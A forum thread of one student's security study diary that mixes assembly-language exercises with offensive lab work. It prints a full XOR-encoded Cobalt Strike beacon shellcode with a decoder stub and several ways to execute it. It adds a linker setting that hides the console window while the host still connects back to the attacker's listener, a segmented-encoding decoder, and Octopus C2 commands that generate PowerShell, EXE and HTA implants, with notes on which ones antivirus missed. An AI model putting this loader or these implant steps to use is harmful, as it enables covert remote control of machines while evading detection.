安全矩阵

 找回密码
 立即注册
搜索
楼主: gclome

郝恬学习日记

[复制链接]

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-24 17:48:02 | 显示全部楼层

2020年2月24日

昨天没有成功的scanf语句我发现是自己开始要push str1,而我写成了push str2 ,真的是太粗心了,修改过来那段代码就可以成功运行了!

为了加深理解,我再写了一个简单的输入输出程序:

  1. #include<stdio.h>
  2. void main()
  3. {   
  4.                char *str1="%d";
  5.                char *str2="a=%d\n";
  6.      _asm{
  7.                               sub esp,4h      //为局部变量分配空间,不分配也可以,不过要注意的是,如果这里没有分配空间,最后平衡堆栈的时候就不是0ch了,而是08h
  8.                               lea  eax,dword ptr [esp]  //eax指向局部变量空间
  9.            push eax
  10.                               push str1       //字符串“%d”
  11.                               call scanf
  12.                              mov eax,dword ptr[esp+8]   //将输入的字符传出
  13.                                                   add esp,8h        //_cdecl调用,在函数外对栈进行平衡
  14.                               push eax
  15.                               push str2
  16.                               call printf
  17.                               add esp,0ch
  18.          }  
  19. }
复制代码
然后接着昨天的控制语句继续学习汇编:

汇编之控制语句(二)
SWITCH-CASE语句
switch语句是多分支选择语句。编译后的switch语句,就是多个if-else语句的嵌套组合,还是从书上的代码开始做汇编
C语言代码:
  1. #include<stdio.h>
  2. void main()
  3. {
  4.         int a;
  5.         scanf("%d",&a);
  6.         switch(a)
  7.            {
  8.              case 1:printf("a=1");break;
  9.           case 2:printf("a=2");break;
  10.           case 10:printf("a=10");break;       
  11.           default :printf("a=default");break;       
  12.             }
  13. }
复制代码
这是对照反汇编写出的汇编代码,比较繁琐:
  1. #include<stdio.h>
  2. void main()
  3. {       char *str="%d";
  4.         char *str1="a=1";
  5.         char *str2="a=2";
  6.                 char *str3="a=10";
  7.         char *str4="a=%d";
  8.      _asm{
  9.                                 lea  eax,[ebp-4]
  10.                                push eax
  11.                                push str
  12.                                call scanf
  13.                                 mov eax,dword ptr[ebp-4]
  14.                                                    add esp,8h
  15.                                  cmp eax,1     //case 1
  16.                                                      je  C1
  17.                                                      cmp eax,2     //case 2
  18.                                                      je C2
  19.                                                   cmp eax,0ch      //case 3
  20.                                                    je C3
  21.                                                        jmp C4         //default

  22. C1:                      push str1
  23.                                                   call printf
  24.                                                   add esp,4h
  25.                                                    jmp end
  26. C2:
  27.                                                  push str2
  28.                                                 call printf
  29.          add esp,4h
  30.                                                 jmp end
  31. C3:            
  32.                                                   push str3
  33.                                                  call printf
  34.                                                   add esp,4h
  35.                                                  jmp end
  36. C4:
  37.                             push eax
  38.                             push str4
  39.                             call printf
  40.                             add esp,8h
  41. end:
  42.          }  
  43. }
复制代码
由于上面的代码太过于繁琐,所以我就想着优化一下,但是自己对汇编代码的优化并没有什么感觉,于是就参照了书上的优化部分。
我感觉这个思路真的很巧妙,因为ZF=1时,je就会跳转,而用“dec eax”指令来代替cmp指令,会让指令更短,运行速度会更快。
还有值得注意的一点:为局部变量分配内存可以用:“push ecx”,相当于“sub esp ,4”。

转移指令机器码:
根据跳转距离的不同,转移指令有以下类型:
短转移:无条件转移和条件转移的机器码均为2字节,转移范围是-128~127字节。
长转移:无条件转移的机器码是5字节(用1个字节表示其跳转类型,eg:jmp,其他四字节表示转移偏转量),条件转移的机器码是6字节(用两个字节表示其跳转类型,其他四字节表示转移偏转量)。
子程序调用指令(call):call指令调用有两类:一个就是类似于长转移;另一类就是调用的参数涉及寄存器,栈等值,例如:“call dword ptr [eax+2]”.
---------------------------------------------------------------------------------------------------
1.无条件短转移的机器码形式是“EBxx”,其中“EB00h~EB7Fh”是向后转移,EB80h~EBFFh是向前转移。
位移量=目的地址-起始地址-跳转指令本身的地址
转移指令机器码=转移类别机器码+位移量
例如:“EB03”,指的就是jmp指令,向后转移03的偏移量
这个老师之前讲过,我们也可以通过kali里面的msf-nasm_shell去查跳转指令的机器码。
2.无条件长转移指令
例如下面一个跳转:

  1. <div align="left"><font size="5"><font size="3">:40100   jmp 402398</font></font></div><div align="left"><font size="5"><font size="3">……</font></font></div><div align="left"><font size="5"><font size="3">:402398 xor eax,eax
  2. </font></font></div>
复制代码
无条件长转移指令的长度是5,机器码是“E9”,则上例的转移的位移量为:
00402398h-00401000h-5h=00001393h
00001393h在内存中以双字(32位)存储,低位字节存入低地址,高位字节存入高地址,则00 00 13 93以相反的顺序存入,也就是“93 13 00 00”。转为机器码就是:“E9 93 13 00 00”.

关于条件语句这部分的汇编就先学习到这里!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-24 22:15:27 | 显示全部楼层
老师今天留了一个任务,让我们用cobaltstrike生成一个原生的c的shellcode,然后cs开监听,自己按前两天的方式做异或在执行。接下来是我的操作过程,做个记录。
首先,在cs里生成一个C语言的shellcode,攻击-->生成后门-->Payload Generator,然后生成即可。

第二步,把生成的shellcode提取出来,通过之前异或的方式进行编码,在编码之后的shellcode前加上解密子(这里注意生成的shellcode后面要加\x90)

  1.     #include "stdafx.h"
  2.     #include "stdio.h"
  3.     #include "windows.h"
  4.     #include"stdlib.h"
  5.     char shellcode[]=
  6.     "\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xF3\x97\x88\x1c\x08\x41\x80\xFB\x90\x75\xf1"
  7.         "\x6b\x7f\x1e\x97\x97\x97\xf7\x1e\x72\xa6\x45\xf3\x1c\xc5\xa7\x1c\xc5\x9b\x1c\xc5"
  8. "\x83\x1c\xe5\xbf\x98\x20\xdd\xb1\xa6\x68\xa6\x57\x3b\xab\xf6\xeb\x95\xbb\xb7\x56"
  9. "\x58\x9a\x96\x50\x75\x67\xc5\xc0\x1c\xc5\x87\x1c\xd5\xab\x96\x47\x1c\xd7\xef\x12"
  10. "\x57\xe3\xdd\x96\x47\xc7\x1c\xdf\x8f\x1c\xcf\xb7\x96\x44\x74\xab\xde\x1c\xa3\x1c"
  11. "\x96\x41\xa6\x68\xa6\x57\x3b\x56\x58\x9a\x96\x50\xaf\x77\xe2\x63\x94\xea\x6f\xac"
  12. "\xea\xb3\xe2\x75\xcf\x1c\xcf\xb3\x96\x44\xf1\x1c\x9b\xdc\x1c\xcf\x8b\x96\x44\x1c"
  13. "\x93\x1c\x96\x47\x1e\xd3\xb3\xb3\xcc\xcc\xf6\xce\xcd\xc6\x68\x77\xcf\xc8\xcd\x1c"
  14. "\x85\x7c\x11\xca\xff\xf9\xf2\xe3\x97\xff\xe0\xfe\xf9\xfe\xc3\xff\xdb\xe0\xb1\x90"
  15. "\x68\x42\xa6\x68\xc0\xc0\xc0\xc0\xc0\xff\xad\xc1\xee\x30\x68\x42\x7e\x13\x97\x97"
  16. "\x97\xcc\xa6\x5e\xc6\xc6\xfd\x94\xc6\xc6\xff\x6\x88\x97\x97\xc4\xc7\xff\xc0\x1e"
  17. "\x8\x51\x68\x42\x7c\xe7\xcc\xa6\x45\xc5\xff\x97\x95\xd7\x13\xc5\xc5\xc5\xc4\xc5"
  18. "\xc7\xff\x7c\xc2\xb9\xac\x68\x42\x1e\x51\x14\x54\xc7\xa6\x68\xc0\xc0\xfd\x68\xc4"
  19. "\xc1\xff\xba\x91\x8f\xec\x68\x42\x12\x57\x98\x13\x54\x96\x97\x97\xa6\x68\x12\x61"
  20. "\xe3\x93\x1e\x6e\x7c\x9e\xff\x3d\x52\x75\xca\x68\x42\x1e\x56\xff\xd2\xb6\xc9\xa6"
  21. "\x68\x42\xa6\x68\xc0\xfd\x90\xc6\xc1\xc7\xff\x20\xc0\x77\x9c\x68\x42\x28\x97\xb8"
  22. "\x97\x97\xae\x50\xe3\x20\xa6\x68\x7e\x6\x96\x97\x97\x7e\x5e\x96\x97\x97\x7f\x1c\x68"
  23. "\x68\x68\xb8\xfb\xa6\xf8\xc7\x97\x10\x8a\xb1\x82\xa9\x35\x46\x58\x55\x74\xa\x80"
  24. "\xe5\x32\xd2\x53\x40\xcf\xc6\xe5\x3e\x81\x3d\x3f\x10\xd1\xf1\xbc\x15\x92\xf6\xf1"
  25. "\xc5\x35\x90\x72\xbd\xfc\xe9\x81\x58\x2e\x25\x63\xa2\xa9\x51\xd2\x9d\x3a\xcd\x3a"
  26. "\x4a\x10\x47\x82\xc1\x14\x51\xc3\x33\x55\x81\x84\x91\xf8\x3e\xf\x7c\xc0\xa2\x5e"
  27. "\xd4\x97\xc2\xe4\xf2\xe5\xba\xd6\xf0\xf2\xf9\xe3\xad\xb7\xda\xf8\xed\xfe\xfb\xfb"
  28. "\xf6\xb8\xa2\xb9\xa7\xb7\xbf\xf4\xf8\xfa\xe7\xf6\xe3\xfe\xf5\xfb\xf2\xac\xb7\xda"
  29. "\xc4\xde\xd2\xb7\xa6\xa7\xb9\xa7\xac\xb7\xc0\xfe\xf9\xf3\xf8\xe0\xe4\xb7\xd9\xc3"
  30. "\xb7\xa1\xb9\xa6\xac\xb7\xc0\xd8\xc0\xa1\xa3\xac\xb7\xc3\xe5\xfe\xf3\xf2\xf9\xe3"
  31. "\xb8\xa1\xb9\xa7\xac\xb7\xda\xd6\xc4\xc7\xbe\x9a\x9d\x97\x9a\x63\x8\xe6\x12\x3c"
  32. "\xdb\xe0\x20\x79\xa1\x6d\xd7\x4e\x8a\x9c\x92\xcb\x28\x98\x73\x7b\xf1\x8d\xca\x39"
  33. "\xd0\x99\x43\x40\x60\x5e\x4e\x22\x91\x5c\x7e\x98\x24\x4a\x42\x18\x33\x23\x8d\x37"
  34. "\xb7\xb1\xf3\x21\x46\x6e\xcd\x18\xd2\x0\xfa\x52\x43\x74\xc4\x5e\xca\x5b\x4f\x78"
  35. "\x5d\xa3\x81\x10\x4b\x70\xe5\xc3\xb1\x55\xc8\x5d\x7b\x43\xaa\x72\xe\x56\xc0\xdb\x6b"
  36. "\x2f\x2a\x93\x64\x1a\xdf\xe8\x13\xa8\x21\x6b\x11\x46\x87\x73\xda\x87\x1a\x42\xa8"
  37. "\x1f\x58\x25\x1b\xab\x17\xe6\x10\x3c\x14\x81\xd2\x29\x87\xe5\x31\x5\x81\x4e\x1f"
  38. "\xb4\x39\xb1\x7e\x53\x93\x3\x52\xd4\xa8\x38\xf3\x65\xf7\x2c\x97\xba\xf7\xa2\xd3"
  39. "\xa\x2e\x7f\x94\x26\xcc\xee\xa3\xa7\xe5\x10\xa2\xb1\x3a\xfe\x9\x18\x8f\xdc\x1e\x8e"
  40. "\x5d\x94\x6e\xcd\x8\xdf\x9\x40\x2f\x28\x5d\xbe\x36\xd9\xe3\x82\x73\xba\xce\x2b"
  41. "\x49\xea\xd0\x3d\x14\x5d\x8b\x9a\x4a\xd2\xe8\xad\x5b\xff\xd9\xae\xd6\x9f\xd2\x6c"
  42. "\x81\xe7\xe\x97\xff\x67\x22\x35\xc1\x68\x42\xfd\xd7\xff\x97\x87\x97\x97\xff\x97"
  43. "\x97\xd7\x97\xc0\xff\xcf\x33\xc4\x72\x68\x42\x4\x2e\x97\x97\x97\x97\x96\x4e\xc6\xc4"
  44. "\x1e\x70\xc0\xff\x97\xb7\x97\x97\xc4\xc1\xff\x85\x1\x1e\x75\x68\x42\x12\x57\xe3"
  45. "\x51\x1c\x90\x96\x54\x12\x57\xe2\x72\xcf\x54\x7f\x3e\x6a\x68\x68\xa6\xae\xa5\xb9"
  46. "\xa6\xa1\xaf\xb9\xa6\xb9\xa6\xa7\xa0\x97\xf8\x3d\xc6\x54\x7";

  47.     int main(int argc, char* argv[])
  48.     {

  49.             _asm{  
  50.                     lea eax,shellcode
  51.                     push eax
  52.                     ret
  53.             };
  54.             return 0;
  55.     }

复制代码
然后点击运行:


在cs上也可以看见已经上线了!



这里出现两次上线,是因为第一次我没有编码实现了一次,然后编码后又实现了一次。

老师今天还讲了四种执行shellcode的方式:
第一种:
  1.     ((void(*)(void))&shellcode)();
复制代码

第二种:
  1. _asm{  
  2.               lea eax,shellcode
  3.                                  jmp eax
  4.             }
复制代码


第三种:
  1. _asm{
  2.                            lea eax,   offset  shellcode
  3.                            jmp eax
  4. }
复制代码


第四种:

  1. _asm{
  2.                           lea eax,    offset shellcode
  3.               _emit 0xFF
  4.                _emit 0xE0
  5. }
复制代码

这四种方法我前两个成功了,后两个还没有成功,后两种报错相同,且报错如下:









本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-25 21:48:19 | 显示全部楼层
2020年2月25日
今天花费了很多时间去完成了这几天的专业课作业,索引今天只是把昨天没有成功的几种执行shellcode的方式再次尝试了一遍,幸运的是全部尝试成功了!

  1.     #include "stdafx.h"
  2.     #include "stdio.h"
  3.     #include "windows.h"
  4.     #include"stdlib.h"
  5. #pragma comment(linker,"/section:.data,RWE")        //data段可读写
  6. #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"")        //不显示窗口,虽然不显示窗口,但是还是会主机上线
  7. #pragma comment(linker,"/INCREMENTAL:NO")        //指定非增量编译
  8.     char shellcode[]=
  9.     //先是decode
  10. "\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xF3\x97\x88\x1c\x08\x41\x80\xFB\x90\x75\xf1"
  11.     //后面跟enShellCode
  12. "\x6b\x7f\x1e\x97\x97\x97\xf7\x1e\x72\xa6\x45\xf3\x1c\xc5\xa7\x1c\xc5\x9b\x1c\xc5"
  13. "\x83\x1c\xe5\xbf\x98\x20\xdd\xb1\xa6\x68\xa6\x57\x3b\xab\xf6\xeb\x95\xbb\xb7\x56"
  14. "\x58\x9a\x96\x50\x75\x67\xc5\xc0\x1c\xc5\x87\x1c\xd5\xab\x96\x47\x1c\xd7\xef\x12"
  15. "\x57\xe3\xdd\x96\x47\xc7\x1c\xdf\x8f\x1c\xcf\xb7\x96\x44\x74\xab\xde\x1c\xa3\x1c"
  16. "\x96\x41\xa6\x68\xa6\x57\x3b\x56\x58\x9a\x96\x50\xaf\x77\xe2\x63\x94\xea\x6f\xac"
  17. "\xea\xb3\xe2\x75\xcf\x1c\xcf\xb3\x96\x44\xf1\x1c\x9b\xdc\x1c\xcf\x8b\x96\x44\x1c"
  18. "\x93\x1c\x96\x47\x1e\xd3\xb3\xb3\xcc\xcc\xf6\xce\xcd\xc6\x68\x77\xcf\xc8\xcd\x1c"
  19. "\x85\x7c\x11\xca\xff\xf9\xf2\xe3\x97\xff\xe0\xfe\xf9\xfe\xc3\xff\xdb\xe0\xb1\x90"
  20. "\x68\x42\xa6\x68\xc0\xc0\xc0\xc0\xc0\xff\xad\xc1\xee\x30\x68\x42\x7e\x13\x97\x97"
  21. "\x97\xcc\xa6\x5e\xc6\xc6\xfd\x94\xc6\xc6\xff\x6\x88\x97\x97\xc4\xc7\xff\xc0\x1e"
  22. "\x8\x51\x68\x42\x7c\xe7\xcc\xa6\x45\xc5\xff\x97\x95\xd7\x13\xc5\xc5\xc5\xc4\xc5"
  23. "\xc7\xff\x7c\xc2\xb9\xac\x68\x42\x1e\x51\x14\x54\xc7\xa6\x68\xc0\xc0\xfd\x68\xc4"
  24. "\xc1\xff\xba\x91\x8f\xec\x68\x42\x12\x57\x98\x13\x54\x96\x97\x97\xa6\x68\x12\x61"
  25. "\xe3\x93\x1e\x6e\x7c\x9e\xff\x3d\x52\x75\xca\x68\x42\x1e\x56\xff\xd2\xb6\xc9\xa6"
  26. "\x68\x42\xa6\x68\xc0\xfd\x90\xc6\xc1\xc7\xff\x20\xc0\x77\x9c\x68\x42\x28\x97\xb8"
  27. "\x97\x97\xae\x50\xe3\x20\xa6\x68\x7e\x6\x96\x97\x97\x7e\x5e\x96\x97\x97\x7f\x1c\x68"   
  28. "\x68\x68\xb8\xfb\xa6\xf8\xc7\x97\x10\x8a\xb1\x82\xa9\x35\x46\x58\x55\x74\xa\x80"
  29. "\xe5\x32\xd2\x53\x40\xcf\xc6\xe5\x3e\x81\x3d\x3f\x10\xd1\xf1\xbc\x15\x92\xf6\xf1"
  30. "\xc5\x35\x90\x72\xbd\xfc\xe9\x81\x58\x2e\x25\x63\xa2\xa9\x51\xd2\x9d\x3a\xcd\x3a"
  31. "\x4a\x10\x47\x82\xc1\x14\x51\xc3\x33\x55\x81\x84\x91\xf8\x3e\xf\x7c\xc0\xa2\x5e"
  32. "\xd4\x97\xc2\xe4\xf2\xe5\xba\xd6\xf0\xf2\xf9\xe3\xad\xb7\xda\xf8\xed\xfe\xfb\xfb"
  33. "\xf6\xb8\xa2\xb9\xa7\xb7\xbf\xf4\xf8\xfa\xe7\xf6\xe3\xfe\xf5\xfb\xf2\xac\xb7\xda"
  34. "\xc4\xde\xd2\xb7\xa6\xa7\xb9\xa7\xac\xb7\xc0\xfe\xf9\xf3\xf8\xe0\xe4\xb7\xd9\xc3"
  35. "\xb7\xa1\xb9\xa6\xac\xb7\xc0\xd8\xc0\xa1\xa3\xac\xb7\xc3\xe5\xfe\xf3\xf2\xf9\xe3"
  36. "\xb8\xa1\xb9\xa7\xac\xb7\xda\xd6\xc4\xc7\xbe\x9a\x9d\x97\x9a\x63\x8\xe6\x12\x3c"
  37. "\xdb\xe0\x20\x79\xa1\x6d\xd7\x4e\x8a\x9c\x92\xcb\x28\x98\x73\x7b\xf1\x8d\xca\x39"
  38. "\xd0\x99\x43\x40\x60\x5e\x4e\x22\x91\x5c\x7e\x98\x24\x4a\x42\x18\x33\x23\x8d\x37"
  39. "\xb7\xb1\xf3\x21\x46\x6e\xcd\x18\xd2\x0\xfa\x52\x43\x74\xc4\x5e\xca\x5b\x4f\x78"
  40. "\x5d\xa3\x81\x10\x4b\x70\xe5\xc3\xb1\x55\xc8\x5d\x7b\x43\xaa\x72\xe\x56\xc0\xdb\x6b"
  41. "\x2f\x2a\x93\x64\x1a\xdf\xe8\x13\xa8\x21\x6b\x11\x46\x87\x73\xda\x87\x1a\x42\xa8"
  42. "\x1f\x58\x25\x1b\xab\x17\xe6\x10\x3c\x14\x81\xd2\x29\x87\xe5\x31\x5\x81\x4e\x1f"
  43. "\xb4\x39\xb1\x7e\x53\x93\x3\x52\xd4\xa8\x38\xf3\x65\xf7\x2c\x97\xba\xf7\xa2\xd3"
  44. "\xa\x2e\x7f\x94\x26\xcc\xee\xa3\xa7\xe5\x10\xa2\xb1\x3a\xfe\x9\x18\x8f\xdc\x1e\x8e"
  45. "\x5d\x94\x6e\xcd\x8\xdf\x9\x40\x2f\x28\x5d\xbe\x36\xd9\xe3\x82\x73\xba\xce\x2b"
  46. "\x49\xea\xd0\x3d\x14\x5d\x8b\x9a\x4a\xd2\xe8\xad\x5b\xff\xd9\xae\xd6\x9f\xd2\x6c"
  47. "\x81\xe7\xe\x97\xff\x67\x22\x35\xc1\x68\x42\xfd\xd7\xff\x97\x87\x97\x97\xff\x97"
  48. "\x97\xd7\x97\xc0\xff\xcf\x33\xc4\x72\x68\x42\x4\x2e\x97\x97\x97\x97\x96\x4e\xc6\xc4"
  49. "\x1e\x70\xc0\xff\x97\xb7\x97\x97\xc4\xc1\xff\x85\x1\x1e\x75\x68\x42\x12\x57\xe3"
  50. "\x51\x1c\x90\x96\x54\x12\x57\xe2\x72\xcf\x54\x7f\x3e\x6a\x68\x68\xa6\xae\xa5\xb9"
  51. "\xa6\xa1\xaf\xb9\xa6\xb9\xa6\xa7\xa0\x97\xf8\x3d\xc6\x54\x7";
  52.     void Run1()//第一种方法
  53. {
  54.                           ((void(*)(void))&shellcode)();
  55. }

  56. void Run2()//第二种方法
  57. {
  58.           _asm{
  59.                               lea eax,shellcode
  60.                               jmp eax
  61.                  }
  62. }

  63. void Run3()//第三种方法
  64. {
  65.         __asm{
  66.                                         mov eax,offset shellcode
  67.                                   jmp eax
  68.                    }
  69. }
  70. void Run4()第四种方法
  71. {
  72.                    _asm
  73.                           {
  74.                                        mov eax,offset shellcode
  75.                                        _emit 0xff
  76.                                         _emit 0xe0 //用emigt就是在当前位置直接插入数据(实际上是指令),硬编码执行
  77.                          }
  78. }

  79. void Run5() //第五种方法
  80. {
  81.                  _asm{
  82.                                   lea eax,shellcode
  83.                                  push eax
  84.                                     ret
  85.                    }
  86. }
  87. int main(int argc, char* argv[])
  88. {
  89.                     Run3();         
  90.                    return 0;
  91. }
复制代码

注: 1.在这里的shellcode感觉不可以把每个字符对应的十六进制拆开,如:\x68不可拆开到两行写,否则会报错,因为编码后shellcode的排列有点问题,所以要做调整。





2.这里出现两次上线,第一次是没有加如下代码,就会显示窗口,然后主机上线:
  1. #pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") //不显示窗口,虽然不显示窗口,但是还是会主机上线
复制代码
然后如果加上这句代码,就不会显示窗口,但是依旧不影响主机上线!




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-29 22:28:12 | 显示全部楼层
                                                                                                                     分段编码解码

本次实验会把一整段shellcode分成若干段进行编码,然后在对这若干段编码后的shellcode进行解码执行,最主要的难点就在于如何编写解密子使得解码之后执行,然后执行之后在解码。


0x01 shellcode 提取
  1. #include "stdafx.h"
  2.     #include "stdio.h"
  3.     #include "windows.h"
  4.     char shellcode[]="\x33\xD2\x52\xFF\x75\xFC\xFF\x75\xFC\x52\xBB\xEA\x07\xD5\x77\xff\xD3\xBC\x14";
  5.     int main(int argc, char* argv[])
  6.     {
  7.         char *str="test";
  8.         HINSTANCE libHandle;
  9.         char *dll="user32.dll";
  10.         libHandle=LoadLibrary(dll);

  11.                 _asm{
  12.                         lea eax,shellcode
  13.                         call eax
  14.             }
  15.        return 0;
  16.     }
复制代码
这是之前写的一个messagebox弹框的shellcode。


0x02 对shellcode编码

把这段shellcode分成三段,第一段:“\x33\xD2\x52”,第二段:“\xFF\x75\xFC\xFF\x75\xFC\x52”,第三段:“xBB\xEA\x07\xD5\x77\xff\xD3\xBC\x14”,注意要在每段的shellcode之后加上\x90,这样就可以很好的判断一段shellcode是否结束,接下来下面就是编码程序:
  1. #include <stdio.h>
  2. #define KEY 0x52
  3. unsigned char ShellCode1[] ="\x33\xD2\x52\x90";
  4. unsigned char ShellCode2[] ="\xFF\x75\xFC\xFF\x75\xFC\x52\x90";
  5. unsigned char ShellCode3[] ="\xBB\xEA\x07\xD5\x77\xff\xD3\xBC\x14\x90";
  6. int main()
  7. {
  8. int i;
  9. int nLen;
  10. unsigned char enShellCode[500]; //编码后的enShellCode
  11. nLen = sizeof(ShellCode3)-1; //获得ShellCode的长度
  12. for(i=0; i<nLen; i++)
  13. {
  14.         enShellCode[i] = ShellCode3[i] ^ KEY; //对每一位ShellCode作xor key编码
  15.         printf("\\x%x",enShellCode[i]);  //打印出效果
  16. }
  17. return 0;
  18. }

复制代码

我分别用0x97,0x34,0x52进行异或(可以通过改变key值),然后就得到三段编码后的shellcode:
  1. //key 0x97 \xa4\x45\xc5\x7
  2. //key 0x34 \xcb\x41\xc8\xcb\x41\xc8\x66\xa4
  3. //key 0x52  \xe9\xb8\x55\x87\x25\xad\x81\xee\x46\xc2
  4. 整合一下:\xa4\x45\xc5\x7\xcb\x41\xc8\xcb\x41\xc8\x66\xa4\xe9\xb8\x55\x87\x25\xad\x81\xee\x46\xc2
复制代码
0x02 对shellcode解码
接下来的编码代码是看DGJ大佬的,我写一下自己操作过程中的认识
  1. _asm{
  2.                      xor edx,edx                                                 //异或edx,使edx归0,用edx记录数组下标
  3.                      mov bh,97h                                                      //第一次xor的key
  4. decode:
  5.                         mov bl,byte ptr ds:[ecx+edx]        
  6.                                 xor bl,bh
  7.                                 mov byte ptr :[ecx+edx],bl
  8.                                 inc edx                                     //edx自增
  9.                                 cmp bl,90h                               //判断这段shellcode是否结束
  10.                                 je execute                                //如果相等,就跳转到execute
  11.                                jmp decode

  12. execute:        
  13.                                  add ecx,edx                             //执行这一句,此时ecx里的值就是下一段shellcode首地址
  14.                                   ret
  15. }
复制代码
提取出这串代码的机器码:





  1. \x33\xD2\xB7\x97\x8A\x1c\x11\x32\xDF\x88\x1C\x11\x42\x80\xFB\x90\x74\x02\xEB\xF0\x03\xCA\xC3
复制代码


0x03 每段shellcode间的代码
因为解码完就直接执行了,这时到了第二段编码的shellcode,我们就要先跳去解码部分对第二段shellcode进行解码,所以再每段shellcode间还要加上一串代码:
  1.      __asm{               
  2.                                     push edx                                              //将decode首地址也入栈
  3.                                     add ecx,19                                            //这个是让ecx的值等于下一个shellcdoe首地址,因为这串汇编的机器码恰好是19
  4.                   
  5.                  push ecx                                       //下一个shellcode首地址压入栈
  6.                                      push eax                                      //将eax压入栈中(因为我们执行的代码中利用eax进行,eax值不能变)
  7.                  mov eax,edx                                 //将decode首地址传给eax
  8.                                     xor edx,edx
  9.                                     mov bh,34h                                //第二段key,各段shellcode的key不同,要修改
  10.                                     call eax      
  11.                                     pop eax
  12.                                      pop ebx                                           //shellcode首地址
  13.                   pop edx                                          //decode首地址
  14.                                      jmp ebx                                           //到shellcode处执行
  15.             }
复制代码
提取出这段汇编的机器码:

  1. \x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x34\xFF\xD0\x58\x58\x5A\xFF\xE3
复制代码

最终运行的代码是这个:
  1.      #include "stdafx.h"
  2.     #include "stdio.h"
  3.     #include "windows.h"
  4.     char shellcode[]=
  5.                 "\x33\xD2\xB7\x51\x3E\x8A\x1C\x11\x32\xDF\x3E\x88\x1C\x11\x42\x80\xFB\x90\x74\x02\xEB\xEE\x03\xCA\xC3"
  6.                 "\xa4\x45\xc5\x7"
  7.                 "\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x34\xFF\xD0\x58\x58\x5A\xFF\xE3"
  8.                 "\xcb\x41\xc8\xcb\x41\xc8\x66\xa4"
  9.                 "\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x52\xFF\xD0\x58\x58\x5A\xFF\xE3"
  10.                 "\xe9\xb8\x55\x87\x25\xad\x81\xee\x46\xc2";
  11.     int main(int argc, char* argv[])
  12.     {
  13.         char *str="test";
  14.         HINSTANCE libHandle;
  15.         char *dll="user32.dll";
  16.         libHandle=LoadLibrary(dll);

  17.                         __asm{
  18.                                   //mov bh,97h
  19.                                    lea ecx,shellcode                                      //获取encode+shellcode编码的地址
  20.                     mov edx,ecx
  21.                                    //mov edx,ecx
  22.                     add ecx,25                                                        //ecx存储第一个shellcode首地址,从xor edx,edx到ret,这段的机器码
  23.                                     push ecx                                                      //第一个shellcode压入站首地址
  24.                                    //mov  edx,ecx
  25.                                     //push edx                       
  26.                                     sub ecx,25                                                    //解码decode首地址,21第一个shellcode到解码的机器码数
  27.                                    //mov edx,ecx
  28.                                      push ecx                                                  //压入栈
  29.                                       add ecx,25
  30.                                       call edx                                                      //解码
  31.                                       pop edx                                                           //解码首地址
  32.                                  //  pop ecx                              
  33.                                       pop ebx                                                       //第一个shellccode首地址
  34.                                       jmp ebx
  35.                 }
  36.         return 0;
  37.     }
复制代码
这个代码我现在运行还有问题!还需要继续操作实践。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-2 18:48:51 | 显示全部楼层
本帖最后由 gclome 于 2020-3-2 18:58 编辑

octopus使用
0x00 打开octopus
  1. python3 octopus.py
复制代码


0x01 配置监听
1.listen_http: http监听器配置
  1. 查看命令所需的参数:listen_http
复制代码
启动监听器,一种有域名,一种没有域名:
  1. listen_http 0.0.0.0 8080 haotian.com 5 page1.php test1  //有域名
  2. listen_http 0.0.0.0 8081 192.168.133.132 5 page2.php test2 //无域名
复制代码
启动之后,在查看listeners,就会有两个监听器
均可以在物理机访问:
有域名的,我修改了hosts文件后可访问




2.listen_https:https监听器配置
首先生成一个自签名的证书:https://www.cnblogs.com/z1500592/p/10883028.html
然后执行下面命令就可以启动监听器:
  1. listen_https 0.0.0.0 8080 haotian.com 5 page1.php test1  root/ca.crt root/server.pem //有域名
  2. listen_https 0.0.0.0 8081 192.168.133.132 5 page2.php test2  root/ca.crt root/server.pem //无域
复制代码
这个我尝试了,这个自签名生成老有问题,以至于这个https监听器没有配置成功
0x02 生成一个powershell载荷
前提是要启动监听器,命令:
  1. generate_powershell test1
复制代码


生成的三个命令测试,只要在运行里添加命令,点击确定就会执行

执行成功后就会上线,(不过这个powershell载荷执行时,火绒会提示,所以我关了火绒才上线的)


0x03 生成windows可执行文件
前提是已经启动了监听器,命令:
  1. generate_exe test1 /root/test.exe
复制代码
生成之后,我把它放到了物理机里双击,成功上线!火绒没有拦截

0x04 生成hta载荷
前提是启动了监听器,命令:
  1. generate_hta test1
复制代码
开始我直接访问了生成的链接,发现没有上线,接着去cmd里执行这句话就上线了!


0x05 选择一个会话进行交互
交互过程中火绒依旧没有拦截,命令:
  1. interact 3
复制代码


查看help,有更多操作:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-3-3 20:09:33 | 显示全部楼层
本帖最后由 gclome 于 2020-3-3 20:12 编辑

循环语句
今天看了《加密与解密》循环语句部分接下来将从do-while循环,while循环,for循环三个方面去学习循环的汇编
0x01 do-while循环
do-while循环的流程是:先执行语句块,在进行表达式判断,当表达式为真时,在继续执行语句块。接下来先看一段C语言代码
  1. #include "stdafx.h"

  2. int main(int argc, char* argv[])
  3. {
  4.     int nCount=0;
  5.     do{
  6.         printf("%d\r\n",nCount);
  7.         nCount++;   
  8.     }
